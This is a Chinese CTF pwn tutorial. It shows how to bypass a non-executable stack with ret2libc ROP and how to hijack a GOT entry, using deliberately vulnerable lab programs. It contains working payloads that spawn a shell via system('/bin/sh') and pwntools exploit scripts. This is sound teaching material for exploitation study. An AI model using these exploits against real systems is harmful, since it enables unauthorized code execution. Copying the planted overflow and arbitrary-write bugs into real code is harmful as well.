从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持

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所属分类:逆向工程
从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持

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看雪论坛作者ID:dxbaicai



从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持

一、教程说明

从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持


1.1 历史回顾


第一节我们介绍了基础环境准备:
从0开始CTF-PWN(一)——基础环境准备

第二节我们介绍了栈溢出的入门:
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始

第三节我们介绍了自行构造shellcode:
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

1.2 本节说明


之前我们是利用自己构造的shellcode返回shell,但这依赖于栈上可执行代码,本篇会介绍当关闭栈上代码可执行时,如何通过ROP跳转到libc获得Shell。

说明什么是GOT,如何劫持。

同样,教程需要对c语言和汇编有一些基本理解,分析过程中遇到问题会穿插对应知识点的方式进行说明。


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二、环境说明

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2.1 环境设置


为了降低入门难度,会关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。


2.2 编译源文件


在实验环境创建.c源代码文件,使用如下命令进行编译,注意相比之前编译时去掉了-z execstack。

知识点-编译参数说明
  1. -m32:使用32位编译

  2. -O0:关闭所有优化

  3. -g:在可执行文件中加入源码信息

  4. -fno-stack-protector:关闭栈保护

  5. -z execstack:启用栈上代码可执行

  6. -z norelro / -z relro -z lazy / -z relro -z now (关闭disabled / 部分开启Partial / 完全开启Full)



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三、ROP绕过栈可执行保护

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3.1 pwn_test_bof2.c程序


对,还是上一篇中的代码。
#include <stdio.h>#include <string.h>
int main(int argc, char* argv[]) { char buf[128]; if (argc < 2) return 1; strcpy(buf, argv[1]); printf("Input:%sn", buf); return 0;}

使用如下命令进行编译:
gcc-4.8 -g -m32 -O0 -fno-stack-protector -o pwn_test_bof3_32-gcc4.8 pwn_test_bof2.c

3.2 什么是ROP


回想一下上一节,我们是通过利用栈溢出漏洞,将一段自行构造的shellcode放置在栈上特定位置,并使得函数的返回值跳转到该段代码的地址执行,从而获得shell。但是这要求可以在栈上执行代码,现在栈上可执行代码被关闭了,这就要求我们要想办法跳转到可以执行代码的地方。

我们看到程序引用了libc库的函数(两句include语句),libc库中显然包含有system函数,那么我们将可以把函数返回的地址指向libc中的system地址,从而跳转到库函数去执行。这种使用函数返回地址(ret指令)连接代码的技术,就叫做ROP(Return-Oriented Programming,返回导向编程)。

ROP 特性

甚至可以通过在栈上布置一系列内存地址,每个内存地址布置一个gadget(以ret/jmp/call等指令结尾的一段汇编指令),从而实现程序的依次执行。另外很重要的一点是,我们在栈上写入的都是内存地址,并非需要执行的代码,使得这种方式可以有效的绕过NX保护。


3.3 开始构造特殊的栈结构


根据第二节中介绍的函数调用栈知识,我们构造如下的栈结构:
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注意ROP部分的三句话,从而实现在main函数返回时执行:
system("/bin/sh");return xxx;
因为我们的目的是getshell,所以执行system即可,返回地址可以随意填写。


3.4 攻击思路


根据上面的分析,我们需要如下计算步骤:
  1. 找出buf变量地址。

  2. 找出main函数返回地址。

  3. 计算面函数返回地址与buf变量地址2者的偏移量,用于填充padding。
    上述三步与前一节一致

  4. 找出libc中system函数、"/bin/sh"地址。

  5. padding后填充addr(system) + 4位任意地址 + addr(/bin/sh)


思路明确,我们现在开始来逐步调试。前面3步的过程与第三节相同,这里就不再重复,现在我们来调试libc中地址获取。

获取system、/bin/sh地址
# 开始调试gdb -q -args ./pwn_test_bof3_32-gcc4.8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgdb-peda$ starti# 运行gdb-peda$ r# 查询关键systemgdb-peda$ print system# 查询/bin/shgdb-peda$ find "/bin/sh"
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得到system的地址为:0xf7e145f0,"/bin/sh"字符的地址为:0xf7f58406。于是我们构造payload为:
"a" * 140 + "0xf7e145f0" + "1111" + "0xf7f58406"
# 执行./pwn_test_bof3_32-gcc4.8 $(python -c 'print "a"*140 + "xf0Exe1xf7" + "1111" + "x06x84xf5xf7"')

得到shell:
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3.5 pwntools实现

# coding:utf-8from pwn import * context(arch='amd64', os='linux') # 注意系统重启后地址可能会发生变化,需要重新获取system_addr = 0xf7e145f0binsh_addr = 0xf7f58406 payload = "A" * 140 + p32(system_addr) + "1111" + p32(binsh_addr)p = process(argv=["/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8", payload]) p.interactive()


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四、GOT劫持

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4.1 GOT表介绍

知识点1:
.got中存放的是外部全局变量的GOT表,例如stdin/stdout/stderr,非延时绑定。
.got.plt中存放的是外部函数的GOT表,例如printf函数,延时绑定。

知识点2:

GOT劫持2大要素:GOT表可写(checksec显示RELRO/disabled且Flg标志位显示为WA)与内存漏洞。


4.2 GOT表劫持核心思想


GOT表劫持的核心目的是通过修改GOT表中的函数地址为其他我们期望的地址,从而达到执行该函数时,通过跳转到GOT表,从而跳转到我们修改过的地址去执行指令。

4.3 GOT表查看方法


查看got表是否可写
readelf -S [program]

通过命令查看GOT表中函数地址:
objdump -R got_hacking_32-gcc4.8

pwntools中查看:
hex(elf.got["printf"])获取printf在GOT表的地址


4.4 got_hacking.c程序


选自长亭科技相关分享,因为是一个特别典型和简单的got_hacking,非常适合入门,所以这里用它来做说明:
#include <stdio.h>#include <stdlib.h>void win() {    puts("You Win!");}void main() {    unsigned int addr, value;    scanf("%x=%x", &addr, &value);    *(unsigned int *)addr = value;    printf("set %x=%xn", addr, value);}

使用如下命令进行编译:
gcc-4.8 -m32 -o got_hacking_32-gcc4.8 got_hacking.c

可以看到并未添加-z relro -z now(完全关闭)编译参数,这就为GOT表劫持提供了可能。


4.5 程序分析


(1)程序的目的是为了执行win函数,但是从main函数中并无入口调用win函数,所以我们需要想办法控制指令跳转到win函数的地址执行。
(2)scanf("%x=%x", &addr, &value); — 以16进制按{}={}的格式读入2个数,分别写入addr和value。
(3)(unsigned int )addr = value; — 关键语句:
(unsigned int )addr — 将addr强制转化为指针类型,此时(unsigned int )addr表示的是内存地址addr
(unsigned int )addr = value; — 将内存地址addr处的内容改写为value
所以这里存在4字节=32bit的任意内存写入漏洞。


4.6 攻击思路


(1)读取win函数的地址。
# 读取办法1:gdb中打印gdb-peda$ p win# 外部读取objdump -d got_hacking_32-gcc4.8|grep win

(2)从got表中读取printf函数的地址。
objdump -R got_hacking_32-gcc4.8

知识点-objdump工具
objdump是linux反汇编指令。-d(disassemble): 可以显示反汇编后的汇编代码。-R(dynamic-reloc): 显示文件的动态重定位入口,可以用于查找libc等共享库。

输入时利用内存泄露漏洞将printf函数的地址指向win函数。
# 输入addr(printf)=addr(win),注意这里的地址不同环境不同0804c00c=0x804918d

显示win。
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4.7 pwntools实现

# coding:utf-8from pwn import * context(arch='amd64', os='linux')s = ssh(host="10.211.55.6", port=22, user="root", password="") p = s.process(argv=["/home/pwn/test/got_hacking/got_hacking_32-gcc4.8"])elf = p.elf# 获取win函数地址win_addr = hex(elf.sym['win'])# 从got表中获取printf函数地址printf_addr = hex(elf.got['printf'])print ("win_addr: {}".format(win_addr))print ("printf_addr: {}".format(printf_addr)) payload = printf_addr + "=" + win_addrprint ("payload: {}".format(payload)) p.sendline(payload)# 打印输出winprint (p.recvall())


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- End -


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